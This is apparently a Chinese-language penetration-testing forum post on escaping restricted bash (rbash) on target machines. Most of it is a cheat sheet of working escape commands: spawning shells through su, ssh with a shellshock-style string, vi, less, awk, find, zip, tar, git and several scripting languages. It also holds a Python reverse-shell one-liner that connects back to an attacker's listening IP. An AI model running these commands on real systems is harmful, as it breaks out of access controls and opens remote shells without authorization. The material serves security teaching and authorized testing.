0x00、前言

rbash(The restricted mode of bash),也就是限制型bash;是平时所谓的 restricted shell的一种,也是最常见的 restricted shell(rbash、ksh、rsh等)

渗透中遇到restricted shell是一件很烦人的事,总有有一种束手束脚的感觉;下面我们就来看看如何突破它。

0x01、rbash中的限制(正因为有这些限制我们才要突破它)

  • 不能使用cd命令(意味着不能更改目录)
  • 不能设置或取消环境变量:SHELL, PATH, ENV, BASH_ENV
  • 导入功能受限
  • 指定包含参数'/'或'-'的文件名(即命名中不能包含 '/ ' 或'-')
  • 不能使用使用 >,>|, <>, >&, &>, >> 等重定向操作符
  • 不能使用'set + r'或'set + o'关闭

从上边这些限制可知rbash的存在是为了提高安全性,但是严重影响了我们在目标机器上的信息收集,以及常用的反弹shell(大部分需要用到重定向符)

0x02、创建一个用户并为该用户启用rbash

kali@kali:~$ sudoadduser tw
kali@kali:~$ sudo usermod -s /bin/rbash tw

0x03、检查当前shell是否为rbash

0x04、rbash逃逸

4.1、切换用户时逃逸
这里的原理涉及到su 和 su- 的区别:

  • su命令,只会更改当前用户,而不会更改当前的用户环境,比如你从oracle 用户su到root账户中,当前路径仍是你刚才的路径,环境变量仍是oracle用户的
  • su- 命令,则在更改当前用户信息的同时还会更改用户环境,但是假如你从oracle 用户su -到root账户,你会发现你的当前路径已经变为/root/,环境变量也变了


逃逸:

su -l tw
su - tw
su --login tw

4.2、ssh登录时逃逸 (借助-t远程在远程机器上运行脚本)

ssh username@IP -t "/bin/sh" or "/bin/bash"
ssh username@IP -t "bash --noprofile"
ssh username@IP -t "() { :; }; /bin/bash"   ###shellshock

4.3、当前shell中逃逸
4.3.1、特殊情况
[1] / 被允许的情况下;直接 /bin/sh 或 /bin/bash
[2]能够设置PATH或SHELL时

export PATH=$PATH:/bin/:/usr/bin:$PATH
export SHELL=/bin/sh

[3]权限足够时

cp /bin/sh /path/ ;sh
或
cp /bin/bash /path/ ;sh

4.3.2、利用系统常见应用逃逸
[1]ftp
[2]more
[3]less
[4]man
[5]vi
[6]vim
以上在输入的地方输入!/bin/sh 或 !/bin/bash

[7]scp

scp -S /path/yourscript x y:

[8]awk

awk 'BEGIN {system("/bin/sh")}'
    或
        awk 'BEGIN {system("/bin/bash")}'

[9]

find / -name SomeName -exec /bin/sh \;
find / -name SomeName -exec /bin/bash \;

4.3.3、利用用户安装应用逃逸
[1]ed-editor

ed
!'/bin/sh'

[2]git

git help status 
!/bin/bash

[3]zip

zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"

[4]tar

tar cf /dev/null  filename  --checkpoint=1 --checkpoint-action=exec=/bin/bash

4.3.4、利用编程语言环境绕过
[1]python

python -c 'import os; os.system("/bin/sh")'

[2]php

php -a then exec("sh -i");

[3]perl

perl -e 'exec "/bin/sh";'

[4]lua

os.execute('/bin/sh')

[5]ruby

exec "/bin/sh"

[6]expect

spwan sh
sh

最后的几个小tips:
[1]比rbash更容易遇到的问题是当前路径异常问题

echo $PATH  ###一般很多命令基础执行不了的时候,都是路径异常,查看该值可验证    
export PATH=$PATH:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin   ####修复

[2] 不能使用 > ,>>等字符重定向写文件:echo 'script code' | tee scriptfile
[3]su切换用户逃逸时还可以在切换用户时执行spawn shell命令

su -c "python -c  'import pty;pty.spawn(\"/bin/bash\")'" tw

[4]ssh 登录时同样可以通过spawn shell逃逸

ssh username@IP  "export TERM=xterm;python -c  'import pty;pty.spawn(\"/bin/bash\")'

[5]编程语言绕过的利用,还可以使用反弹shell到我们攻击机的方式进行逃逸,以python为例:

python -c 'import       socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("LISTENING IP",LISTENING PORT));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

[6]上边用的比较多的是 !/bin/sh 和 !/bin/bash;其实还有一个 !'sh' --->由于没有了 '/' ;有时候能够达到很好的绕过效果

[7]同理.在路径正确的情况下,在当前rbash中直接输入 sh 也能够完成逃逸( !/bin/sh 和 !/bin/bash 逃逸失败报错同[6] )

0x05、总结

此处虽然只演示了rbash,但是这些逃逸方式应用到其他类型的restricted shell中也是可以的
由于不同系统特性不同,逃逸的方式也有很大差异;再就是用户限制的宽松程度不同,我们能够逃逸的方式也不同;用户安装的git、tar、zip等应用也能够给我很大的帮助;总之就是要多尝试,灵活应用!!!

点击收藏 | 5 关注 | 3 打赏
  • 动动手指,沙发就是你的了!
登录 后跟帖